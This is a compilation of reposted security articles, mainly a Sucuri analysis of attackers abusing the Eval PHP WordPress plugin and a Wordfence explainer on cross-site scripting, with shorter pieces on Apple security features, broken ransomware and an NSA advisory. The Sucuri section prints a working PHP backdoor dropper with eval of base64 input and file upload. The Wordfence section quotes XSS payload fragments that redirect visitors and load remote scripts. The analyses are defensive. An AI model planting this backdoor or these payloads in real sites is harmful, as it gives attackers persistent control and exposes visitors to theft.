Massive Abuse of Abandoned Eval PHP WordPress Plugin

Attackers are always finding new and creative ways to compromise websites and maintain their foothold in environments. This is frequently done via the use of backdoors: PHP scripts designed to allow attackers access and control even after you’ve changed your passwords and thought that the worst was over.

Since external scans are unable to see website backdoors they can often be identified through the usage of server-side scans and file-integrity monitoring, which we offer as part of our services. This is also offered through a number of available WordPress security plugins that can be used on your website.

However, we recently started observing attackers making use of an unorthodox type of backdoor and reinfection method which would go completely undetected if website monitoring doesn’t happen to include the database.

Conventional backdoors

Almost all of the time website backdoors are coded in the PHP programming language: the backbone of the modern web. WordPress itself (making up over 40%+ of the web) is largely PHP based, as well as most other major CMS platforms like Joomla, Magento and others. PHP is an incredibly versatile language, which also means that it can be misused by attackers. One of the most common (mis)usages by attackers are backdoors.

According to our recent 2022 Website Threat Report, we can see that remote code execution backdoors, webshells, and uploaders are the most popular among attackers to deploy to infected environments:

Backdoor category distribution as seen in the 2022 website threat report

However, with good file integrity monitoring and server side scanning, backdoors can be effectively monitored for, detected, and removed to keep your websites safe from further attacks.

Database injections

Over the last few weeks we noticed that some infected website’s databases were being injected with the following code into the wp_posts table:




[evalphp]file_put_contents($_SERVER[‘DOCUMENT_ROOT’].’/7299b0773c8d.php’,’<?=409723*20;if(md5($_COOKIE[d])==“17028f487cb2a84607646da3ad3878ec”){echo“ok”;eval(base64_decode($_REQUEST[id]));if($_POST[“up”]==“up”){@copy($_FILES[“file”][“tmp_name”],$_FILES[“file”][“name”]);}}?>‘);[/evalphp]

This code is quite simple: It uses the file_put_contents function to create a PHP script into the docroot of the website with the specified remote code execution backdoor. All the attacker needs to do is to visit one of the infected posts or pages and the backdoor will be injected into the file structure.

It’s not exactly a new backdoor, however; more conventional PHP backdoors of this variety were found as early as last summer and over 6,000 instances of this backdoor were cleaned from compromised sites in the last 6 months alone. However, the backdoor being injected into the database is certainly a new and interesting development.

Misuse of legitimate plugin

In the code sample above you may notice the [evalphp] WordPress shortcodes (small code tags used in WordPress environments that make it easy to add complex functionality to your website). These are related to a very old WordPress plugin available in the official repository with the same name Eval PHP:

Eval PHP WordPress plugin which leads to website infection

This plugin allows PHP code to be inserted into pages and posts of WordPress sites and then executed every time the posts are opened in a browser. What could go wrong, right?

It hasn’t been updated in over a decade and has very few real active installations. However, we can see that since the beginning of April it has surged in popularity:

Downloads per day for EvalPHP

For the ten years leading up to the end of March, 2023, this plugin rarely had 1 download a day. But around March 29, 2023 we saw daily downloads spike to 7,000. After that, every single day we have seen 3k-5k downloads — with over 100,000 downloads total.

EvalPHP WordPress plugin downloads history for April 18, 2023
EvalPHP plugin downloads history for April 18, 2023

This WordPress data correlates to our own logs, where we see that starting March 29, 2023, some attackers started installing the EvalPHP plugin on compromised sites and using it to create the earlier mentioned backdoors.

Malicious requests

In all cases the requests originate from these three IP addresses:

  1. 91.193.43.151 – AEZA-AS, RU
  2. 79.137.206.177 – AEZA-AS, RU
  3. 212.113.119.6 – AEZA-AS, RU
79.137.206.177 - - [08/Apr/2023:07:28:21 -0700] "PUT /wp-json/wp/v2/plugins/evalphp/evalphp/?status=active HTTP/1.1" 200 635 "http://<redacted>.com/wp-json/wp/v2/plugins" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2902.99 Safari/537.36" 613

79.137.206.177 - - [08/Apr/2023:07:28:30 -0700] "POST /wp-json/wp/v2/pages HTTP/1.1" 201 2029 "http://<redacted>.com/wp-json/wp/v2/plugins/evalphp/evalphp/?status=active" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2902.99 Safari/537.36" 504

79.137.206.177 - - [08/Apr/2023:07:28:31 -0700] "GET /3e9c0ca6bbe9.php HTTP/1.1" 200 27 "http://<redacted>.com/wp-json/wp/v2/pages" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2902.99 Safari/537.36" 17

Here you can see a sequence of requests that:

  1. Checks to make sure that the Eval PHP plugin is active.
  2. Creates a page with malware inside the [evalphp] shortcodes. It is enough to execute the PHP code and drop the 3e9c0ca6bbe9.php backdoor (the filename is unique for each environment) in the site root.
  3. Accesses the newly dropped backdoor.

Since the backdoor uses the $_REQUEST[id] to obtain the executable PHP code, it doesn’t require a POST request to conceal its parameters in access logs — it can pass them as cookies, since $_REQUEST contains the contents of $_GET$_POST and $_COOKIE.

GET requests without visible parameters look less suspicious than POST requests. But in the case of this backdoor, GET can be equally dangerous.

Pages with evalphp malware

In our experience, hackers sometimes create a test page (new pages are not displayed by default on the home page) slug publish, (the URL on a typical WordPress site will be <site-domain>.com/publish/) and the word “Test” as its only contents.

JSON from test page created by backdoor

However, the real backdoors are created in multiple posts that are saved as drafts and not publicly visible at all. The way the Eval PHP plugin works it’s enough to save a page as a draft in order to execute the PHP code inside the [evalphp] shortcodes.

This is how these page drafts look in the SQL dump of the wp_posts table:

SQL dump WP Posts from PHP Eval wordpress plugin

In all cases, attackers were able to successfully log into WordPress admin. And the malicious pages are created with a real site administrator as their author. However, on some of the compromised sites we found created malicious admin users with random names and outlook.com emails — for example: 5faf461e / 5faf461e@outlook[.]comdf8a6aa9 / df8a6aa9@outlook[.]com, etc.

The compromised sites sometimes have the same backdoor installed in other files. Most often we find it in /wp-content/plugins/background-image-cropper/accesson.php — in logs we find how hackers upload a custom version of the legitimate background-image-cropper plugin. We also find it in the theme’s functions.php file when attackers modify this file using the WordPress theme editor.

Why are attackers putting backdoors into wp_posts?

You might be wondering why the attackers would choose this new tactic of injecting backdoors into compromised website environments rather than just sticking with good old fashioned PHP backdoors.

Although the injection in question does drop a conventional backdoor into the file structure, the combination of a legitimate plugin and a backdoor dropper in a WordPress post allows them to easily reinfect the website and stay hidden — all they need to do is to visit a “benign” web page.

Fortunately, some WordPress security plugins such as our Sucuri Scanner do log administrator activity within a website, such as plugin installations and changes to pages/posts which would be a symptom of this attack. If you notice the Eval PHP plugin installed on your website and it wasn’t you who did it then there’s a good chance that your website has been compromised.

Potentially dangerous plugins in WordPress repository

At this point, WordPress has a warning when you open the EvalPHP page in the official plugin repository:

This plugin hasn’t been tested with the latest 3 major releases of WordPress. It may no longer be maintained or supported and may have compatibility issues when used with more recent versions of WordPress.

However, this may not be enough for plugins that can be easily abused. Maybe such plugins should be completely delisted, especially when they are not updated for 10+ years and have a really small legitimate user base.

EvalPHP is not the only plugin like this. You can find other similar plugins in the official WordPress plugin repository. For example:

Example of deprecated PHPEval wordpress plugin

This PHPEval plugin that hasn’t been updated for 11+ years and has 40+ active users. Is there a reason to keep it in the repository after so many years of inactivity? And by the way, we can see an increased interest in this plugin during the last week…

Keeping such plugins in the official repository makes it easier for hackers to stay under radar since they can install a legitimate unmodified plugin from a reputable source instead of installing fake plugins or modifying existing plugins, which can be detected by scanners that monitor integrity of known plugins.

Mitigation steps to protect your environment

In checking logs from environments affected by these backdoors, so far all of them seemed like the attackers already had established administrator access to the websites which allowed them to install the evalphp plugin within the environments.

This is a testament to how crucially important it is to secure the wp-admin panel of your WordPress environment as well as monitor any administrator activity taking place. In addition to regular file cleanup and changing passwords, don’t forget to review your WordPress users and pages — some of them may have been created by hackers.

Other steps to mitigate risk from infection include:

Source: https://blog.sucuri.net/2023/04/massive-abuse-of-abandoned-evalphp-wordpress-plugin.html

About Rapid Security Responses for iOS, iPadOS, and macOS

Rapid Security Responses deliver important security improvements between software updates.

Rapid Security Responses are a new type of software release for iPhone, iPad, and Mac. They deliver important security improvements between software updates — for example, improvements to the Safari web browser, the WebKit framework stack, or other critical system libraries. They may also be used to mitigate some security issues more quickly, such as issues that might have been exploited or reported to exist “in the wild.”

New Rapid Security Responses are delivered only for the latest version of iOS, iPadOS and macOS — beginning with iOS 16.4.1, iPadOS 16.4.1, and macOS 13.3.1.

By default, your device allows Rapid Security Responses to be applied automatically and, if necessary, will prompt you to restart your device. To check your device settings:

  • iPhone or iPad: Go to Settings > General > Software Update > Automatic Updates, then make sure that “Security Responses & System Files” is turned on.
  • Mac: Choose Apple menu  > System Settings. Click General in the sidebar, then click Software Update on the right. Click the Show Details button  next to Automatic Updates, then make sure that “Install Security Responses and system files” is turned on.

When a Rapid Security Response has been applied, a letter appears after the software version number, as in this example: macOS 13.3.1 (a).

If you choose to turn off this setting or not to apply Rapid Security Responses when they’re available, your device will receive relevant fixes or mitigations when they’re included in a subsequent software update.

Source: About Rapid Security Responses for iOS, iPadOS, and macOS – Apple Support

Why You Should Enable Apple’s New Security Feature in iOS 16.2 Right Now

Apple just rolled out iOS 16.2, a software update that includes a key new feature called Advanced Data Protection for iCloud. That means you can finally enable end-to-end encryption for your iCloud backups so no one but you—not even Apple—can access your iCloud data.

The fact that iCloud backups haven’t offered the option of end-to-end encryption until now has long been a point of controversy. iCloud backups of the Messages app were of particular concern because Apple could still hand over certain types of data within the backups to law enforcement. In particular, although conversations in Messages (along with other more personal data types, like the data stored in the Health app) were end-to-end encrypted, backups of those conversations were not. That meant police could subpoena those backups and gain access to texts. A couple of years ago, rumors suggested that Apple had dropped a plan to encrypt backups after the FBI complained about it. But now that the feature is here, everyone should turn it on. Here’s why.

Encryption is a mathematical process that jumbles data in a way that makes it unreadable without a key. End-to-end encryption ensures that only you control that key. This protection allows for private communication between a sender and a receiver—in this case, you’re both—such that third parties can’t access the data. Once you enable Advanced Data Protection, not even Apple will have the key to decrypt your data—and therefore it will have no way to help you regain access if you lose it. End-to-end encryption is common in secure messaging apps like Signal, as well as in software that stores sensitive data, such as password managers.

Many people enable iCloud backups because their iPhone bothers them repeatedly to do so, and perhaps they haven’t thought through the implications. Prior to today, storing a complete backup of your device, including your private photos and files, on a server—where someone other than you has access to it—has meant entering a data-privacy minefield. Someone gaining access to that account, through a data breach or by other means, would have access to anything stored there. And the problem hasn’t been limited to iCloud: Startlingly few cloud storage companies, in fact, offer end-to-end encryption.

But now, if you own one or more Apple devices, you can now make sure that your backups, photo libraries, and iCloud Drive file are end-to-end encrypted.

How to turn on Advanced Data Protection

Advanced Data Protection is rolling out as part of the iOS 16.2 over-the-air software update in the US today. Other parts of the world will receive Advanced Data Protection in early 2023. Follow these steps:

  1. Turn on two-factor authentication for your Apple ID if you haven’t done so already.
  2. Update all your Apple devices to iOS 16.2, iPadOS 16.2, macOS 13.1, tvOS 16.2, watchOS 9.2, or newer. If your devices are older and don’t support the latest versions of Apple’s operating systems, you’ll have to remove them from your Apple ID in order to enable Advanced Data Protection. That means you won’t be able to log into your Apple account on that older device, in which case, you should probably not enable Advanced Data Protection until you upgrade to a newer Apple device.
  3. On an iPhone or iPad, open Settings (or System Preferences on a Mac) > [Your name] > iCloud > Advanced Data Protection > Account Recovery. On this page you’ll see a choice of recovery methods. To use Advanced Data Protection, you must set up at least one of these two options (you can do both):
    • Designate a recovery contact, a trusted person from your contacts list who also owns an Apple device and whom you can easily reach out to in case you get locked out of your account. If you choose this method, you’ll send the recovery contact a message with a link that they will need to tap or click to accept. They’ll now have the key to help you unlock your account, but they won’t be able to unlock it on their own.
    • Set up a recovery key, a 28-character key that you can use to access your account in case you are locked out. Apple has no way to recover this key for you, so it’s important that you save it somewhere safe. If you choose this method, you’ll need to verify the key before you enable it, so write it down.
  4. Head back to Settings > [Your name] > iCloud > Advanced Data Protection, tap Turn on Advanced Data Protection, and then follow the on-screen prompts. Here, you need to confirm your recovery contact or enter your recovery key one more time, followed by your device’s passcode. If you have any older devices that cannot be updated, you can remove them from the list at this point.

Aside from not being able to ask Apple to help you access your data, if you regularly access data or files from iCloud.com, web access is disabled by default when Advanced Data Protection is enabled. That means you can’t access anything there—however, you can hop into Settings > [Your name] > iCloud and tap Access iCloud Data on the Web to temporarily turn on access when you need it.

Enabling the new security feature is relatively simple, though it’s important to note that if you choose the recovery key option, you must secure your encryption key and make sure to store it somewhere safe. If you choose a recovery contact, make sure to stay in touch with that person. Otherwise, if you lose your device, your data could be completely gone.

What data gets protected (and what doesn’t)

Until this update, Apple provided end-to-end encryption for some of the most sensitive data stored in iCloud backups by default, including passwords, health data, and payment information. If you don’t turn on Advanced Data Protection, here are the data categories that are end-to-end encrypted by default, according to Apple’s list:

  • Passwords and Keychain
  • Health data
  • Home data
  • Messages in iCloud (but not iCloud backups)
  • Payment information
  • Apple Card transactions
  • Apple Maps (details such as favorites and search history)
  • QuickType Keyboard learned vocabulary
  • Safari (details such as history, tab groups, and iCloud tabs)
  • Screen Time
  • Siri information (details such as settings and personalization)
  • Wi-Fi passwords
  • W1 and H1 Bluetooth keys
  • Memoji

When you turn on the feature, nine more data categories are end-to-end encrypted:

  • iCloud backup
  • iCloud Drive
  • Photos, including photos in a Shared Library, if everyone in the Shared Library has Advanced Data Protection enabled
  • Notes
  • Reminders
  • Safari Bookmarks
  • Siri Shortcuts
  • Voice Memos
  • Wallet passes

Some data stored in iCloud still isn’t encrypted, notably iCloud Mail and some third-party data, because doing so would break certain functions. The affected categories are as follows:

  • iCloud Mail
  • Contacts
  • Calendars
  • Photos stored in Shared Albums and any file shared with “Anyone with a link”
  • Any document shared for iWork collaboration
  • Any third-party app data that doesn’t employ its own end-to-end encryption (though if the backups of those apps are stored in iCloud Backup, they will be end-to-end encrypted, and if an app stores data in iCloud Drive, it should be end-to-end encrypted, as well)
  • Some metadata and usage information (details such as the names of your devices, the sizes of files, and more, which is notable because recent reports suggest that Apple isn’t entirely transparent about the data it collects)

If you use any collaboration features for Files or Notes, end-to-end encryption is enabled only when you and all other parties have Advanced Data Protection enabled. So, if you are collaborating through a shared Notes or Reminder item and want that data secured with end-to-end encryption, make certain your collaborators enable the feature, too.

Setting up Advanced Data Protection is an important step, but it’s not the end of the story. In addition to the various steps everyone needs to take to secure themselves online, be sure to take a few fundamental steps to secure your phone, such as using a strong passcode.

Source: https://www.nytimes.com/wirecutter/reviews/how-to-set-up-apples-new-icloud-encryption-security-feature/

This broken ransomware can’t decrypt your files, even if you pay the ransom

Researchers warn this badly built ransomware will destroy your files, so don’t pay up.

Victims of a recently uncovered form of ransomware are being warned not to pay the ransom demand, simply because the ransomware isn’t able to decrypt files – it just destroys them instead. 

Coded in Python, Cryptonite ransomware first appeared in October as part of a free-to-download open-source toolkit – available to anyone with the skills required to deploy it in attacks against Microsoft Windows systems, with phishing attacks believed to be the most common means of delivery.

But analysis of Cryptonite by cybersecurity researchers at Fortinet has found that the ransomware only has “barebones” functionality and doesn’t offer a means of decrypting files at all, even if a ransom payment is made. 

Instead, Cryptonite effectively acts as wiper malware, destroying the encrypted files, leaving no way of retrieving the data. 

But rather than this being an intentionally malicious act of destruction by design, researchers suggest that the reason Cryptonite does this is because the ransomware has been poorly put together.  

A basic design and what’s described as a “lack of quality assurance” means the ransomware doesn’t work correctly because a flaw in the way it’s been put together means if Cryptonite crashes or is just closed, it leaves no way to recover encrypted files. 

There’s also no way to run it in decryption-only mode – so every time the ransomware is run, it re-encrypts everything with a different key. This means that, even if there was a way to recover the files, the unique key probably wouldn’t work – leaving no way to recover the encrypted data. 

“This sample demonstrates how a ransomware’s weak architecture and programming can quickly turn it into a wiper that does not allow data recovery,” said Gergely Révay, security researcher at Fortinet’s FortiGuard Labs. 

“Although we often complain about the increasing sophistication of ransomware samples, we can also see that oversimplicity and a lack of quality assurance can also lead to significant problems,” he added. 

It’s the victim of the ransomware attack that feels those problems, as they’re left with no means of restoring their network – even if they’ve made a ransom payment.  

The case of Cryptonite ransomware also serves as a reminder that paying a ransom is never a guarantee that the cyber criminals will provide a decryption key, or if it will work properly.   

Cyber agencies, including CISA, the FBI and the NCSC, recommend against paying the ransom because it only serves to embolden and encourage cyber criminals, particularly if they can acquire ransomware at a low cost or for free. 

The slightly good news is that it’s now harder for wannabe cyber criminals to get their hands on Cryptonite, as the original source code has been removed from GitHub. 

In addition to this, the simple nature of the ransomware also means that it’s easy for antivirus software to detect – so it’s recommended antivirus software is installed and kept up to date. 

Source: https://www.zdnet.com/article/this-badly-made-ransomware-cant-decrypt-your-files-even-if-you-pay-the-ransom/

Redirect tracker – a free online tool

What is Redirect Tracker?

A URL might be redirected for different reasons, but some of them can be malicious. Usually, a redirect can be because a page is deleted, a site is moved to a new domain, a site is moved to HTTPS, the URL of a page is changed, two or more websites are merged into one, etc. Or just so that you don’t have a long, complicated address to put in your browser (bit.ly and other URL shorteners).

However, sometimes they will send you to the wrong place, which might be harmful to your online security. In any case, it’s important to know where we are sent when we click on a link, and you no longer have to rely on tools like WhereGoes. Redirect Tracker will show you exactly where the link takes you. Stay safe and informed, thanks to this tool.

TRY IT: https://www.websiteplanet.com/webtools/redirected/

Cross-Site Scripting: The Real WordPress Supervillain

Vulnerabilities are a fact of life for anyone managing a website, even when using a well-established content management system like WordPress. Not all vulnerabilities are equal, with some allowing access to sensitive data that would normally be hidden from public view, while others could allow a malicious actor to take full control of an affected website. There are many types of vulnerabilities, including broken access control, misconfiguration, data integrity failures, and injection, among others. One type of injection vulnerability that is often underestimated, but can provide a wide range of threats to a website, is Cross-Site Scripting, also known as “XSS”. In a single 30-day period, Wordfence blocked a total of 31,153,743 XSS exploit attempts, making this one of the most common attack types we see.

XSS exploit attempts blocked per day

What is Cross-Site Scripting?

Cross-Site Scripting is a type of vulnerability that allows a malicious actor to inject code, usually JavaScript, into otherwise legitimate websites. The web browser being used by the website user has no way to determine that the code is not a legitimate part of the website, so it displays content or performs actions directed by the malicious code. XSS is a relatively well-known type of vulnerability, partially because some of its uses are visible on an affected website, but there are also “invisible” uses that can be much more detrimental to website owners and their visitors.

Without breaking XSS down into its various uses, there are three primary categories of XSS that each have different aspects that could be valuable to a malicious actor. The types of XSS are split into stored, reflected, and DOM-based XSS. Stored XSS also includes a sub-type known as blind XSS.

Stored Cross-Site Scripting could be considered the most nefarious type of XSS. These vulnerabilities allow exploits to be stored on the affected server. This could be in a comment, review, forum, or other element that keeps the content stored in a database or file either long-term or permanently. Any time a victim visits a location the script is rendered, the stored exploit will be executed in their browser.

An example of an authenticated stored XSS vulnerability can be found in version 4.16.5 or older of the Leaky Paywall plugin. This vulnerability allowed code to be entered into the Thousand Separator and Decimal Separator fields and saved in the database. Any time this tab was loaded, the saved code would load. For this example, we used the JavaScript onmouseover function to run the injected code whenever the mouse went over the text box, but this could easily be modified to onload to run the code as soon as the page loads, or even onclick so it would run when a user clicks a specified page element. The vulnerability existed due to a lack of proper input validation and sanitization in the plugin’s class.php file. While we have chosen a less-severe example that requires administrator permissions to exploit, many other vulnerabilities of this type can be exploited by unauthenticated attackers.

Example of stored XSS

Blind Cross-Site Scripting is a sub-type of stored XSS that is not rendered in a public location. As it is still stored on the server, this category is not considered a separate type of XSS itself. In an attack utilizing blind XSS, the malicious actor will need to submit their exploit to a location that would be accessed by a back-end user, such as a site administrator. One example would be a feedback form that submits feedback to the administrator regarding site features. When the administrator logs in to the website’s admin panel, and accesses the feedback, the exploit will run in the administrator’s browser.

This type of exploit is relatively common in WordPress, with malicious actors taking advantage of aspects of the site that provide data in the administrator panel. One such vulnerability was exploitable in version 13.1.5 or earlier of the WP Statistics plugin, which is designed to provide information on website visitors. If the Cache Compatibility option was enabled, then an unauthenticated user could visit any page on the site and grab the _wpnonce from the source code, and use that nonce in a specially crafted URL to inject JavaScript or other code that would run when statistics pages are accessed by an administrator. This vulnerability was the result of improper escaping and sanitization on the ‘platform’ parameter.

Example of blind XSS

Reflected Cross-Site Scripting is a more interactive form of XSS. This type of XSS executes immediately and requires tricking the victim into submitting the malicious payload themselves, often by clicking on a crafted link or visiting an attacker-controlled form. The exploits for reflected XSS vulnerabilities often use arguments added to a URL, search results, and error messages to return data back in the browser, or send data to a malicious actor. Essentially, the threat actor crafts a URL or form field entry to inject their malicious code, and the website will incorporate that code in the submission process for the vulnerable function. Attacks utilizing reflected XSS may require an email or message containing a specially crafted link to be opened by an administrator or other site user in order to obtain the desired result from the exploit. This XSS type generally involves some degree of social engineering in order to be successful and it’s worth noting that the payload is never stored on the server so the chance of success relies on the initial interaction with the user.

In January of 2022, the Wordfence team discovered a reflected XSS vulnerability in the Profile Builder – User Profile & User Registration Forms plugin. The vulnerability allowed for simple page modification, simply by specifically crafting a URL for the site. Here we generated an alert using the site_url parameter and updated the page text to read “404 Page Not Found” as this is a common error message that will not likely cause alarm but could entice a victim to click on the redirect link that will trigger the pop-up.

Example of reflected XSS

DOM-Based Cross-Site Scripting is similar to reflected XSS, with the defining difference being that the modifications are made entirely in the DOM environment. Essentially, an attack using DOM-based XSS does not require any action to be taken on the server, only in the victim’s browser. While the HTTP response from the server remains unchanged, a DOM-based XSS vulnerability can still allow a malicious actor to redirect a visitor to a site under their control, or even collect sensitive data.

One example of a DOM-based vulnerability can be found in versions older than 3.4.4 of the Elementor page builder plugin. This vulnerability allowed unauthenticated users to be able to inject JavaScript code into pages that had been edited using either the free or Pro versions of Elementor. The vulnerability was in the lightbox settings, with the payload formatted as JSON and encoded in base64.

Example of DOM-based XSS

How Does Cross-Site Scripting Impact WordPress Sites?

WordPress websites can have a number of repercussions from Cross-Site Scripting (XSS) vulnerabilities. Because WordPress websites are dynamically generated on page load, content is updated and stored within a database. This can make it easier for a malicious actor to exploit a stored or blind XSS vulnerability on the website which means an attacker often does not need to rely on social engineering a victim in order for their XSS payload to execute.

Using Cross-Site Scripting to Manipulate Websites

One of the most well-known ways that XSS affects WordPress websites is by manipulating the page content. This can be used to generate popups, inject spam, or even redirect a visitor to another website entirely. This use of XSS provides malicious actors with the ability to make visitors lose faith in a website, view ads or other content that would otherwise not be seen on the website, or even convince a visitor that they are interacting with the intended website despite being redirected to a look-alike domain or similar website that is under the control of of the malicious actor.

When testing for XSS vulnerabilities, security researchers often use a simple method such as alert() prompt() or print() in order to test if the browser will execute the method and display the information contained in the payload. This typically looks like the following and generally causes little to no harm to the impacted website:

Example of XSS popup

This method can also be used to prompt a visitor to provide sensitive information, or interact with the page in ways that would normally not be intended and could lead to damage to the website or stolen information.

One common type of XSS payload we see when our team performs site cleanings is a redirect. As previously mentioned, XSS vulnerabilities can utilize JavaScript to get the browser to perform actions. In this case an attacker can utilize the window.location.replace() method or other similar method in order to redirect the victim to another site. This can be used by an attacker to redirect a site visitor to a separate malicious domain that could be used to further infect the victim or steal sensitive information.

In this example, we used onload=location.replace("https://wordfence.com") to redirect the site to wordfence.com. The use of onload means that the script runs as soon as the element of the page that the script is attached to loads. Generating a specially crafted URL in this manner is a common method used by threat actors to get users and administrators to land on pages under the actor’s control. To further hide the attack from a potential victim, the use of URL encoding can modify the appearance of the URL to make it more difficult to spot the malicious code. This can even be taken one step further in some cases by slightly modifying the JavaScript and using character encoding prior to URL encoding. Character encoding helps bypass certain character restrictions that may prevent an attack from being successful without first encoding the payload.

Example of XSS redirect

When discussing manipulation of websites, it is hard to ignore site defacements. This is the most obvious form of attack on a website, as it is often used to replace the intended content of the website with a message from the bad actor. This is often accomplished by using JavaScript to force the bad actor’s intended content to load in place of the original site content. Utilizing JavaScript functions like document.getElementByID() or window.location() it is possible to replace page elements, or even the entire page, with new content. Defacements require a stored XSS vulnerability, as the malicious actor would want to ensure that all site visitors see the defacement.

Example of XSS defacement

This is, of course, not the only way to deface a website. A defacement could be as simple as modifying elements of the page, such as changing the background color or adding text to the page. These are accomplished in much the same way, by using JavaScript to replace page elements.

Stealing Data With Cross-Site Scripting

XSS is one of the easier vulnerabilities a malicious actor can exploit in order to steal data from a website. Specially crafted URLs can be sent to administrators or other site users to add elements to the page that send form data to the malicious actor as well as, or instead of, the intended location of the data being submitted on the website under normal conditions.

The cookies generated by a website can contain sensitive data or even allow an attacker to access an authenticated user’s account directly. One of the simplest methods of viewing the active cookies on a website is to use the document.cookie JavaScript function to list all cookies. In this example, we sent the cookies to an alert box, but they can just as easily be sent to a server under the attacker’s control, without even being noticeable to the site visitor.

Example of stealing cookies with XSS

While form data theft is less common, it can have a significant impact on site owners and visitors. The most common way this would be used by a malicious actor is to steal credit card information. It is possible to simply send input from a form directly to a server under the bad actor’s control, however it is much more common to use a keylogger. Many payment processing solutions embed forms from their own sites, which typically cannot be directly accessed by JavaScript running in the context of an infected site. The use of a keylogger helps ensure that usable data will be received, which may not always be the case when simply collecting form data as it is submitted to the intended location.

Here we used character encoding to obfuscate the JavaScript keystroke collector, as well as to make it easy to run directly from a maliciously crafted link. This then sends collected keystrokes to a server under the threat actor’s control, where a PHP script is used to write the collected keystrokes to a log file. This technique could be used as we did here to target specific victims, or a stored XSS vulnerability could be taken advantage of in order to collect keystrokes from any site visitor who visits a page that loads the malicious JavaScript code. In either use-case, a XSS vulnerability must exist on the target website.

Example of XSS form theft

If this form of data theft is used on a vulnerable login page, a threat actor could easily gain access to usernames and passwords that could be used in later attacks. These attacks could be against the same website, or used in credential stuffing attacks against a variety of websites such as email services and financial institutions.

Taking Advantage of Cross-Site Scripting to Take Over Accounts

Perhaps one of the most dangerous types of attacks that are possible through XSS vulnerabilities is an account takeover. This can be accomplished through a variety of methods, including the use of stolen cookies, similar to the example above. In addition to simply using cookies to access an administrator account, malicious actors will often create fake administrator accounts under their control, and may even inject backdoors into the website. Backdoors then give the malicious actor the ability to perform further actions at a later time.

If a XSS vulnerability exists on a site, injecting a malicious administrator user can be light work for a threat actor if they can get an administrator of a vulnerable website to click a link that includes an encoded payload, or if another stored XSS vulnerability can be exploited. In this example we injected the admin user by pulling the malicious code from a web-accessible location, using a common URL shortener to further hide the true location of the malicious location. That link can then be utilized in a specially crafted URL, or injected into a vulnerable form with something like onload=jQuery.getScript('https://bit.ly/<short_code>'); to load the script that injects a malicious admin user when the page loads.

Example of adding a malicious admin user with XSS

Backdoors are a way for a malicious actor to retain access to a website or system beyond the initial attack. This makes backdoors very useful for any threat actor that intends to continue modifying their attack, collect data over time, or regain access if an injected malicious admin user is removed by a site administrator. While JavaScript running in an administrator’s session can be used to add PHP backdoors to a website by editing plugin or theme files, it is also possible to “backdoor” a visitor’s browser, allowing an attacker to run arbitrary commands as the victim in real time. In this example, we used a JavaScript backdoor that could be connected to from a Python shell running on a system under the threat actor’s control. This allows the threat actor to run commands directly in the victim’s browser, allowing the attacker to directly take control of it, and potentially opening up further attacks to the victim’s computer depending on whether the browser itself has any unpatched vulnerabilities.

Often, a backdoor is used to retain access to a website or server, but what is unique about this example is the use of a XSS vulnerability in a website in order to gain access to the computer being used to access the affected website. If a threat actor can get the JavaScript payload to load any time a visitor accesses a page, such as through a stored XSS vulnerability, then any visitor to that page on the website becomes a potential victim.

Example of a XSS backdoor

Tools Make Light Work of Exploits

There are tools available that make it easy to exploit vulnerabilities like Cross-Site Scripting (XSS). Some tools are created by malicious actors for malicious actors, while others are created by cybersecurity professionals for the purpose of testing for vulnerabilities in order to prevent the possibility of an attack. No matter what the purpose of the tool is, if it works malicious actors will use it. One such tool is a freely available penetration testing tool called BeEF. This tool is designed to work with a browser to find client-side vulnerabilities in a web app. This tool is great for administrators, as it allows them to easily test their own webapps for XSS and other client-side vulnerabilities that may be present. The flip side of this is that it can also be used by threat actors looking for potential attack targets.

One thing that is consistent in all of these exploits is the use of requests to manipulate the website. These requests can be logged, and used to block malicious actions based on the request parameters and the strings contained within the request. The one exception is that DOM-based XSS cannot be logged on the web server as these are processed entirely within the victim’s browser. The request parameters that malicious actors typically use in their requests are often common fields, such as the WordPress search parameter of $_GET[‘s’] and are often just guesswork hoping to find a common parameter with an exploitable vulnerability. The most common request parameter we have seen threat actors attempting to attack recently is $_GET[‘url’] which is typically used to identify the domain name of the server the website is loaded from.

Top 10 parameters in XSS attacks

Conclusion

Cross-Site Scripting (XSS) is a powerful, yet often underrated, type of vulnerability, at least when it comes to WordPress instances. While XSS has been a long-standing vulnerability in the OWASP Top 10, many people think of it only as the ability to inject content like a popup, and few realize that a malicious actor could use this type of vulnerability to inject spam into a web page or redirect a visitor to the website of their choice, convince a site visitor to provide their username and password, or even take over the website with relative ease all thanks to the capabilities of JavaScript and working knowledge of the backend platform.

One of the best ways to protect your website against XSS vulnerabilities is to keep WordPress and all of your plugins updated. Sometimes attackers target a zero-day vulnerability, and a patch is not available immediately, which is why the Wordfence firewall comes with built-in XSS protection to protect all Wordfence users.

Source: https://www.wordfence.com/blog/2022/09/cross-site-scripting-the-real-wordpress-supervillain

NSA Warns Managed Service Providers Are Now Prime Targets for Cyberattacks

International cybersecurity authorities issue guidance to help information and communications service providers secure their networks.

The National Security Administration (NSA), along with a coalition of international cybersecurity authorities, today issued an advisory warning managed service providers (MSPs) of an escalating threat of attack from both everyday cybercriminals and state-sponsored threat actors.

MSPs provide or operate information and communications technology services.

With input from cybersecurity leaders from Australia, Canada, New Zealand, the UK and the US, the NSA provided recommendations to help bolster their cyber defenses, including:

  • Finding and disabling dormant accounts.
  • Implementing and enforcing multifactor authentication on accounts.
  • Ensuring contracts clearly map out who owns and is responsible for securing data.


“This joint guidance will help MSPs and customers engage in meaningful discussions on the responsibilities of securing networks and data,” said NSA cybersecurity director Rob Joyce in a statement announcing the new cybersecurity guidance. “Our recommendations cover actions such as preventing initial compromises and managing account authentication and authorization.”

The NSA added it partnered with the UK’s National Cyber Security Centre (NCSC-UK), the Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), New Zealand’s National Cyber Security Centre (NCSC-NZ), the Cybersecurity and Infrastructure Agency (CISA), and the Federal Bureau of Investigation (FBI) to develop the MSP cybersecurity recommendations.

Source & backlinks: https://www.darkreading.com/attacks-breaches/nsa-warns-managed-service-providers-are-now-prime-targets-for-cyberattacks

SBOM Facts: Know what’s in your software to fend off supply chain attacks

Not knowing what’s in your food can have consequences. The same is true for software. That’s why you need a software bill of materials (SBOM) to minimize software security risk.

